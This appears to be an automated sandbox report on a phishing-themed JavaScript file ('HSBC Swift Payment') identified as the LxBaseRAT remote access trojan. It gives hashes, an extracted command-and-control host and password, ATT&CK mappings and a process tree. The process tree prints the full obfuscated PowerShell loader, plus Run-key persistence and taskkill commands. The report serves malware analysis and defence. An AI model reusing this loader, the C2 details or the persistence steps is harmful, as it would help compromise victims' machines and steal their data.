lxbaserat | 8c66f4c0b0b3c733363c1a4fa7c1f13a116ea1d7aa21f0809118625f62ed32cd

Analysis

max time kernel
148s
max time network
150s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 03:40

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
HSBC Swift Payment 300726.js
Size 83KB
Sample260804-d8f29svvhw
SHA256 8c66f4c0b0b3c733363c1a4fa7c1f13a116ea1d7aa21f0809118625f62ed32cd
MD5 5f730ce9623dcc352a990ad17770e48b
SHA1 ce10c7c4874822b86ee75b17fef21cba97384294
SHA512 d219a67fce97e558bd019a896158d573619bbec0f6b7a476dae6df1f97a408949f4f45189ce4207a3024a38b089205c7766752755a4bbcc0b2dd04256f0d03f9
SSDEEP 768:iP0rbz1YuAw9t1AiTD9poB596H6wSftpE6atYE3NoL8:cu/9Lz9poB596H6wSftpE6atYE3NoL8
TLSH
T15483C1FA22B65875EBDFB61174A6C265FCC982F32B09D848E1045DDC83AB640AC3F5D4
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

group1 a960186a4f0446948e640c091cf27a4d defense_evasion execution lxbaserat persistence rat

Malware Config

Extracted

Family

lxbaserat

Version

1.0.22

Botnet

Group1

Campaign

a960186a4f0446948e640c091cf27a4d

lxxlxxnew.noip.at:4055

Attributes

directory
WindowsTelemetry\Logs
executable
client.exe
password
JhJvrFokWE5J7XGvy01o

Signatures

Family: LxBaseRAT
LxBaseRAT is a .NET remote access trojan with stealer capabilities.
rat lxbaserat

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2136	3392	cmd.exe	88

Badlisted process makes network request 5 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
8	3348	powershell.exe
9	3348	powershell.exe
10	3348	powershell.exe
12	3348	powershell.exe
13	3348	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3348	powershell.exe
5632	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Run\icmminhjgS = "wscript.exe \"C:\\ProgramData\\MspcEng.js\""	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3348 set thread context of 5712	3348	powershell.exe	103

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2136	cmd.exe
2104	cmd.exe

Kills process with taskkill 3 IoCs

defense_evasion

pid	Process
3908	taskkill.exe
3616	taskkill.exe
5168	taskkill.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
3348	powershell.exe
3348	powershell.exe
5632	powershell.exe
5632	powershell.exe
3348	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	3348	powershell.exe
Token: SeDebugPrivilege	5632	powershell.exe
Token: SeDebugPrivilege	3908	taskkill.exe
Token: SeDebugPrivilege	3616	taskkill.exe
Token: SeDebugPrivilege	5168	taskkill.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 2136 wrote to memory of 3348	2136	cmd.exe	91
PID 3348 wrote to memory of 4632	3348	powershell.exe	92
PID 4632 wrote to memory of 3236	4632	csc.exe	93
PID 3348 wrote to memory of 5632	3348	powershell.exe	96
PID 5632 wrote to memory of 2104	5632	powershell.exe	98
PID 2104 wrote to memory of 3908	2104	cmd.exe	100
PID 2104 wrote to memory of 3616	2104	cmd.exe	101
PID 2104 wrote to memory of 5168	2104	cmd.exe	102
PID 3348 wrote to memory of 5712	3348	powershell.exe	103
PID 3348 wrote to memory of 5712	3348	powershell.exe	103
PID 3348 wrote to memory of 5712	3348	powershell.exe	103
PID 3348 wrote to memory of 5712	3348	powershell.exe	103
PID 3348 wrote to memory of 5712	3348	powershell.exe	103

C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\HSBC Swift Payment 300726.js"
1⤵
PID:3632

C:\Windows\system32\cmd.exe
cmd /c %SYSTEMROOT%\System32\WindowsPowerShell\v1.0\powershell.exe "$j=65-53;$lQyLFW='q4z51uTcYttX';$oJOZYDq='d69483ebfaad8ae4a0b2bb97abbefdccfebc91a797adfec1d6948bd1feabd09a96aca89bb8fb80f0f2b18a8492b0bf95beec8da5a18c9baa86acb786a2cea2f0efb09da69ffee3d280d0b5ebb58c9baa86acb786a2cea2f0efb09da69f8aa782bec3eaa5cfb38df8c1d3d4d6b9a8e4a2bcbba68783bcb391bccbe3f3e1bbb99f8791a7b0eafde2f3ee85878ba7bb86bcebc487afee8a939f9ebc99a4b1fa97f3edbd94ba94bd96a4b2fc97f3f196b987808786bca1d796ddf486a9fcc3bcecc393c788cdf7bacd8bc287b38aabc7a9dde1bbb98fc3bf89bfbccf88d1e185a9f89abc9699bcca97a6f385bb8f89bdeca4afc7bde7ae94b983c6ba99a4b9c683ddf594a6bdb1bdedbcb7fc87d5e8baad8b9c8e8bb4a1fde2c9ef8693b1c692b596b7fa95c9af85a987c2ba999eaec4e0d9e1bccc9f8787b38aeed593f4ac96b9a59e959995bcd784aeeebba9b180958686e2d798d5f7bbb69f8abcb7b099fd98dddebdccf89bbf89c6aecfe3c9e2bc939f86ba9ba0adfc87d9ebbd97fcbebcecb4b0d597fceb90cdf8caf9d3f89afab4b2cfa68eacd3f38a8babfb94fafdb690a087b7b19cfbb68bcbfea78ae7b6b0bd9dbff7bef8c6e5c49ca798e6dc9cfba4ccefad97a794f685b1b4f0a6fae9aba3f3c998ac9db6dcb1ecfee9ca9a87acb79cbcb6f4fdadebd7e0dad3d494aef0b3ebf2b090e997f6fa9ef2e5f4e8a6919bbede91bc98befda4bfd5ba8ae7a4bbbcb1b7f7b5f1efe4d68e96aaf3a0baf0b4f0f6ffdaa5d3f39d9daef0a4bfbfb3d08a9cabb086f2e2f5e4efad87b281bbaa87a9f0f0bbecf1baa684b0b29dbafa94feefbed6edacf7a391baeab3f7e0a283b4fed4b887b5fda4f6f4b1dea0dbfabfdeffeafcbbf6f3dab9ce9ef6dbf2e5f4e6a684aea192b0aa9db6d9b1ebfe82c4f3bfb1bf969aeda3faf6bd92b0dbfabfdbe0ba82a2bfa6d08e96aa8a8babfba3b7b2a3c1b2d781f0b4aef2bcd1fab29be9debbafd2ffeaada4bfb1c3eda1f09997afd3b5ebf3b09ae1d7b3f2da';$xbn9HE='fzNKBghFYkJlTk8jZghBBA1OZnBgQEZ+eUZ/FQZMaFUgb05jdBRNDA1DLWV4QFVkR01mDhdUYFhvRAYkDVoLD1lJZx4tBU8jbRJ8FAVUaFUlWnpMRxVGFgVUbkRRGxtOVgROFAFpb0V4QE9uQUkLMk1dOhJiD2hjUg5EBUwEbhooUQhwKWsiakBLPHYkCQZlUBUIQE8AJkY2Dg48HVMBUlEVLwc1FA88EVkACQlHLgciS1FqA0gDSENIdUJ8Gw4iFVgdTlYVNBg9GBQjFVQfTw1NZhk9D0t9Q0YGTEwHaUJ4URsiC1MfWUoVNRg9ERIjFVIfTw1NZhk9D0t9Q0YGSWkqaFAkCQVqGQUPRA8JLFdiRQkpUFx0NAFYdRhJT0JiQAhBBzkaO2NYZxkjYwRbMxBSaFhrCQVqDUgCDQVUYl4rHR1ecCAIQE8AJmRYHx8lCksQSVgcRHgrAQotAyURXkMJejsGAQEpQwZJQFkAJkJ0VQ9oQQVNAwYXNQE/GUcgFVkWWUkTMAI4DBU5QAICA1YWYAA+FkciVwVODwhQdBlhTkIjVg5bARZFb1NrTVN4QQZODQ0Ob1JvDg43VwZcBg9HZ15qUkd+QEYPW0QEZlFqARwtAAZIBkpzdFR/VVNkSgYHUEgAJVFrRw9BQQ9IFAwALBY9EwgALkVDQFkAJgUrARoALkVCGVkHbE98U05qVgBCTixPJhYnAQZgQQRcR18tCxYsAQFkBEl0IwtOd1N+VXw3HiddDwliYEVpFxVeUBNGDgMIJXttVUJlQRJ0UTkJKBYoTFgtAxNaDhdTJhZMCQVqQwcDQEBMLRYrbFJ9RyRBB0MMIRFNUVFBRRRBAwwHLRYrEQYtCEEIGFIUJh8BKwEtBEFoBRANUURjQkR+Vx1cDxZUIXVcdAEgQARcAxhTZFppQlUtCQdGEhdUIQNwR1UtagBCBUhjUWMsXCwHKWsPQEQAIRYsAQEt';$kmSbx8=0xD132-0x2147;$t5krJysa8=@();foreach($c in [char[]]$lQyLFW){$t5krJysa8+=[byte]($c-bxor0xAA)};$vWftq5b1A=$t5krJysa8;$t5krJysa8=@();foreach($c in [char[]]$lQyLFW){$t5krJysa8+=[byte]($c-bxor0x55)};$fT3Dke=$t5krJysa8;$t5krJysa8oldR='';$i=0;for($j=0;$j-lt$oJOZYDq.Length;$j+=2){$t5krJysa8oldR+=[char](([Convert]::ToInt32($oJOZYDq.Substring($j,2),16))-bxor$vWftq5b1A[$i++%$vWftq5b1A.Length])};$z8yycO2zJ=$t5krJysa8oldR;$t5krJysa8oldB=[Convert]::FromBase64String([regex]::Replace($xbn9HE, '$t5krJysa8', ''));$t5krJysa8oldR='';$i=0;for($j=0;$j-lt$t5krJysa8oldB.Length;$j++){$t5krJysa8oldR+=[char]($t5krJysa8oldB[$j]-bxor$fT3Dke[$i++%$fT3Dke.Length])};$lrI20dCl=$t5krJysa8oldR;$pRpKgye=$z8yycO2zJ+$lrI20dCl;.($env:ComSpec[4,26,25]-join'') $pRpKgye"; Copy-Item -Path 'C:\Users\Admin\AppData\Local\Temp\HSBC Swift Payment 300726.js' -Destination 'C:\ProgramData\MspcEng.js' -Force"
1⤵
- Process spawned unexpected child process
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2136
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "$j=65-53;$lQyLFW='q4z51uTcYttX';$oJOZYDq='d69483ebfaad8ae4a0b2bb97abbefdccfebc91a797adfec1d6948bd1feabd09a96aca89bb8fb80f0f2b18a8492b0bf95beec8da5a18c9baa86acb786a2cea2f0efb09da69ffee3d280d0b5ebb58c9baa86acb786a2cea2f0efb09da69f8aa782bec3eaa5cfb38df8c1d3d4d6b9a8e4a2bcbba68783bcb391bccbe3f3e1bbb99f8791a7b0eafde2f3ee85878ba7bb86bcebc487afee8a939f9ebc99a4b1fa97f3edbd94ba94bd96a4b2fc97f3f196b987808786bca1d796ddf486a9fcc3bcecc393c788cdf7bacd8bc287b38aabc7a9dde1bbb98fc3bf89bfbccf88d1e185a9f89abc9699bcca97a6f385bb8f89bdeca4afc7bde7ae94b983c6ba99a4b9c683ddf594a6bdb1bdedbcb7fc87d5e8baad8b9c8e8bb4a1fde2c9ef8693b1c692b596b7fa95c9af85a987c2ba999eaec4e0d9e1bccc9f8787b38aeed593f4ac96b9a59e959995bcd784aeeebba9b180958686e2d798d5f7bbb69f8abcb7b099fd98dddebdccf89bbf89c6aecfe3c9e2bc939f86ba9ba0adfc87d9ebbd97fcbebcecb4b0d597fceb90cdf8caf9d3f89afab4b2cfa68eacd3f38a8babfb94fafdb690a087b7b19cfbb68bcbfea78ae7b6b0bd9dbff7bef8c6e5c49ca798e6dc9cfba4ccefad97a794f685b1b4f0a6fae9aba3f3c998ac9db6dcb1ecfee9ca9a87acb79cbcb6f4fdadebd7e0dad3d494aef0b3ebf2b090e997f6fa9ef2e5f4e8a6919bbede91bc98befda4bfd5ba8ae7a4bbbcb1b7f7b5f1efe4d68e96aaf3a0baf0b4f0f6ffdaa5d3f39d9daef0a4bfbfb3d08a9cabb086f2e2f5e4efad87b281bbaa87a9f0f0bbecf1baa684b0b29dbafa94feefbed6edacf7a391baeab3f7e0a283b4fed4b887b5fda4f6f4b1dea0dbfabfdeffeafcbbf6f3dab9ce9ef6dbf2e5f4e6a684aea192b0aa9db6d9b1ebfe82c4f3bfb1bf969aeda3faf6bd92b0dbfabfdbe0ba82a2bfa6d08e96aa8a8babfba3b7b2a3c1b2d781f0b4aef2bcd1fab29be9debbafd2ffeaada4bfb1c3eda1f09997afd3b5ebf3b09ae1d7b3f2da';$xbn9HE='fzNKBghFYkJlTk8jZghBBA1OZnBgQEZ+eUZ/FQZMaFUgb05jdBRNDA1DLWV4QFVkR01mDhdUYFhvRAYkDVoLD1lJZx4tBU8jbRJ8FAVUaFUlWnpMRxVGFgVUbkRRGxtOVgROFAFpb0V4QE9uQUkLMk1dOhJiD2hjUg5EBUwEbhooUQhwKWsiakBLPHYkCQZlUBUIQE8AJkY2Dg48HVMBUlEVLwc1FA88EVkACQlHLgciS1FqA0gDSENIdUJ8Gw4iFVgdTlYVNBg9GBQjFVQfTw1NZhk9D0t9Q0YGTEwHaUJ4URsiC1MfWUoVNRg9ERIjFVIfTw1NZhk9D0t9Q0YGSWkqaFAkCQVqGQUPRA8JLFdiRQkpUFx0NAFYdRhJT0JiQAhBBzkaO2NYZxkjYwRbMxBSaFhrCQVqDUgCDQVUYl4rHR1ecCAIQE8AJmRYHx8lCksQSVgcRHgrAQotAyURXkMJejsGAQEpQwZJQFkAJkJ0VQ9oQQVNAwYXNQE/GUcgFVkWWUkTMAI4DBU5QAICA1YWYAA+FkciVwVODwhQdBlhTkIjVg5bARZFb1NrTVN4QQZODQ0Ob1JvDg43VwZcBg9HZ15qUkd+QEYPW0QEZlFqARwtAAZIBkpzdFR/VVNkSgYHUEgAJVFrRw9BQQ9IFAwALBY9EwgALkVDQFkAJgUrARoALkVCGVkHbE98U05qVgBCTixPJhYnAQZgQQRcR18tCxYsAQFkBEl0IwtOd1N+VXw3HiddDwliYEVpFxVeUBNGDgMIJXttVUJlQRJ0UTkJKBYoTFgtAxNaDhdTJhZMCQVqQwcDQEBMLRYrbFJ9RyRBB0MMIRFNUVFBRRRBAwwHLRYrEQYtCEEIGFIUJh8BKwEtBEFoBRANUURjQkR+Vx1cDxZUIXVcdAEgQARcAxhTZFppQlUtCQdGEhdUIQNwR1UtagBCBUhjUWMsXCwHKWsPQEQAIRYsAQEt';$kmSbx8=0xD132-0x2147;$t5krJysa8=@();foreach($c in [char[]]$lQyLFW){$t5krJysa8+=[byte]($c-bxor0xAA)};$vWftq5b1A=$t5krJysa8;$t5krJysa8=@();foreach($c in [char[]]$lQyLFW){$t5krJysa8+=[byte]($c-bxor0x55)};$fT3Dke=$t5krJysa8;$t5krJysa8oldR='';$i=0;for($j=0;$j-lt$oJOZYDq.Length;$j+=2){$t5krJysa8oldR+=[char](([Convert]::ToInt32($oJOZYDq.Substring($j,2),16))-bxor$vWftq5b1A[$i++%$vWftq5b1A.Length])};$z8yycO2zJ=$t5krJysa8oldR;$t5krJysa8oldB=[Convert]::FromBase64String([regex]::Replace($xbn9HE, '$t5krJysa8', ''));$t5krJysa8oldR='';$i=0;for($j=0;$j-lt$t5krJysa8oldB.Length;$j++){$t5krJysa8oldR+=[char]($t5krJysa8oldB[$j]-bxor$fT3Dke[$i++%$fT3Dke.Length])};$lrI20dCl=$t5krJysa8oldR;$pRpKgye=$z8yycO2zJ+$lrI20dCl;.($env:ComSpec[4,26,25]-join'') $pRpKgye"; Copy-Item -Path 'C:\Users\Admin\AppData\Local\Temp\HSBC Swift Payment 300726.js' -Destination 'C:\ProgramData\MspcEng.js' -Force"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Adds Run key to start application
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3348
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\p10dk0lh\p10dk0lh.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4632
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES373E.tmp" "c:\Users\Admin\AppData\Local\Temp\p10dk0lh\CSCCE632EFF382842D9BACCEDAF9DE88030.TMP"
      4⤵
      PID:3236
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Process cmd.exe -ArgumentList '/c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F' -WindowStyle Hidden -Wait
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:5632
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:2104
    - - C:\Windows\System32\taskkill.exe
        
        taskkill /IM RegAsm.exe /F
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3908
    - - C:\Windows\System32\taskkill.exe
        
        taskkill /IM Vbc.exe /F
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3616
    - - C:\Windows\System32\taskkill.exe
        
        taskkill /IM MsBuild.exe /F
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5168
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe"
    3⤵
    PID:5712

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 96952b58e7507bfbf6b1edf838d41182ae4f94e983572fa0c037be46d4ab1b05
MD5 b65d38126d60f6776d0fee761697a8ab
SHA1 fce1b1fa5ee6c386768d73e767a6bf9a04c23b30
SHA512 100a082250af816628e48f6949a2068bada9998b7bd29fa7408af7fd8d4425d03c85b92e6e2e4c08dc55e6bb56b4f31aedeaf3f4ac201e80d2cdac77353c5dd6
SSDEEP 1536:mKLg0mYo2hOovpfKQVGflJdpHYWh4iUx9R40i71Yi9MQyPcMrxoi3jiRjdvRwa5Z:mKLg0mYo2hOovpfKQVGflJd9YWqiU9Rg
TLSH
T11C636192E9204E75E1A66F3EF15622627C30394690F8113211DC25EFA987D970B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 acbc1999f88acb1f16e9b7cc8edb95e8ca94ed125863d0ac63963b24bef2aef6
MD5 ef8735f084a79aedc821f1062d84f72e
SHA1 3262f6af63310a8f894da8f5c27951e3e4343e5e
SHA512 6ef620b9156b6b164b9d42ae8f41d16dd2a183e3d52031c9623fe81e669dedcbc06d5893225afb3514a9b36a57861dbf530a39dcc1b110b4f701ac187061a1b6
TLSH
T15B217B33B3DC8615D889403A10CDEC1436B597DB80DECE5BBB84D648B43F599CE60660
MD5 SHA1 SHA512 TLSH

Submit Download

RES373E.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES373E.tmp
Size 1KB
SHA256 ae5542ccba5dc8a83607263de27c20fd08cca9eb66cfcd502e4c69c31d0cf265
MD5 bddee4066b950d1b28b8b6cc99e23b4e
SHA1 bd13b8cc931e4282f572366b19ac824df188b7f7
SHA512 3018026f692387f8c332c5d87d56df0a1a946d7f560c5a19e03b3efa48577437f97f30cf715f8a93a56bc58786f630cd4787f9693e9c80a7412a6cd4218b21f5
TLSH
T1E021EB0193E8471BF0B3173179FA472FA639FD64EFA2936A458003282C01640EEA0FB2
MD5 SHA1 SHA512 TLSH

Submit Download

p10dk0lh.dll

Path C:\Users\Admin\AppData\Local\Temp\p10dk0lh\p10dk0lh.dll
Size 3KB
SHA256 1d1a6c747fec672c4ba80f06b074ac236e5b7e91024712f7f0449571b81f352a
MD5 bffd8d31c3efecb4da5157a2f1d32872
SHA1 147c321b5ce64d8492cac16242b9c8e88a527289
SHA512 73e5ebc1b33ae607c57516e345d008132342678b4c864f174c9545e501964f34c0afc424d212bf202b409a323826d93a9f687f79bacef33f401d8167bac4b63d
TLSH
T1BE51CD1A63E8473BE8B70B317EF743172778F911AB62535D49800229AC613645E32FB9
MD5 SHA1 SHA512 TLSH

Submit Download

CSCCE632EFF382842D9BACCEDAF9DE88030.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\p10dk0lh\CSCCE632EFF382842D9BACCEDAF9DE88030.TMP
Size 652B
SHA256 e3145adac252ff2102dcd3392c2ff8859a01264364b4a14dc7b1621ef10461d0
MD5 a9249910efba0ff31559c874388784c4
SHA1 1f688bb6d06d50bf33824a4c4f0417fecc5c4120
SHA512 0c2c04136992c68b704ba7e061f51b04cdae2c6c8e045a4547a7de2923e458c0fa518f8e7357a001484a5a87099ccb2f36eeaf9e17cb70a20420a065145b5746
TLSH
T1CCF0544963F8030EF4F35B30BDF54367956DBC64DE3253ED148003192C645108661FB1
MD5 SHA1 SHA512 TLSH

Submit Download

p10dk0lh.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\p10dk0lh\p10dk0lh.0.cs
Size 213B
SHA256 1a9e7f41d4b7e4ec3e7072acf6bf2a2e7ccb58d76658dfefcf17376712688491
MD5 6374b49aff3c4650502cc98d2b5add86
SHA1 bf20312cab670cc9a7a981ffb873172198daa843
SHA512 69cd2a87c282c4b8adedda9dd5bfb9ed2789cc60b595d6a2a123fff30bf3c2448e3dfb1feac70b5ae3d4a8b4794869c88e88345975dd4215cd101f7164614496
TLSH
T18BD0A9803282F3384B9715073C03F896223FA31002E97808DA990C83EE1C070BA38C2E
MD5 SHA1 SHA512 TLSH

Submit Download

p10dk0lh.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\p10dk0lh\p10dk0lh.cmdline
Size 369B
SHA256 045554f29e23602ef3bacdc7d2c92b871960f6661fa39327c0d605f276c45414
MD5 9708c814b333bf2adc4057e3dd378d0c
SHA1 1f4437ccd56a60c9d081704455e1a69212724bef
SHA512 afb51bda3ddd6c7eae345cd7e30ca4878a770d5d5ed500338ec6693e107b11aaaa3ca42103567ee9a21fdacf0bc5129737c5d80d2ffc38605a578b1e1abdfab6
TLSH
T17BE0C6FE6266C27D46ED100B227AC4ACC6B207873E823F8892448C0DE5270002FD2781
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3348-9-0x00007FFEB7690000-0x00007FFEB8034000-memory.dmp

Download

memory/3348-28-0x0000022D36750000-0x0000022D36758000-memory.dmp

Download

memory/3348-11-0x00007FFEB7690000-0x00007FFEB8034000-memory.dmp

Download

memory/3348-12-0x00007FFEB7690000-0x00007FFEB8034000-memory.dmp

Download

memory/3348-13-0x00007FFEB7690000-0x00007FFEB8034000-memory.dmp

Download

memory/3348-14-0x00007FFEB7690000-0x00007FFEB8034000-memory.dmp

Download

memory/3348-15-0x00007FFEB7690000-0x00007FFEB8034000-memory.dmp

Download

memory/3348-0-0x00007FFEB781F000-0x00007FFEB7820000-memory.dmp

Download

memory/3348-8-0x00007FFEB7690000-0x00007FFEB8034000-memory.dmp

Download

memory/3348-7-0x00007FFEB7690000-0x00007FFEB8034000-memory.dmp

Download

memory/3348-5-0x0000022D36720000-0x0000022D36742000-memory.dmp

Download

memory/3348-10-0x00007FFEB7690000-0x00007FFEB8034000-memory.dmp

Download

memory/3348-6-0x00007FFEB7690000-0x00007FFEB8034000-memory.dmp

Download

memory/3348-30-0x00007FFEB7690000-0x00007FFEB8034000-memory.dmp

Download

memory/3348-31-0x00007FFEB7690000-0x00007FFEB8034000-memory.dmp

Download

memory/3348-32-0x00007FFEB7690000-0x00007FFEB8034000-memory.dmp

Download

memory/3348-33-0x0000022D364F0000-0x0000022D3650A000-memory.dmp

Download

memory/3348-4-0x00007FFEB7690000-0x00007FFEB8034000-memory.dmp

Download

memory/3348-42-0x00007FFEB7690000-0x00007FFEB8034000-memory.dmp

Download

memory/3348-1-0x00007FFEB7690000-0x00007FFEB8034000-memory.dmp

Download

memory/5712-38-0x0000000000400000-0x000000000047C000-memory.dmp

Download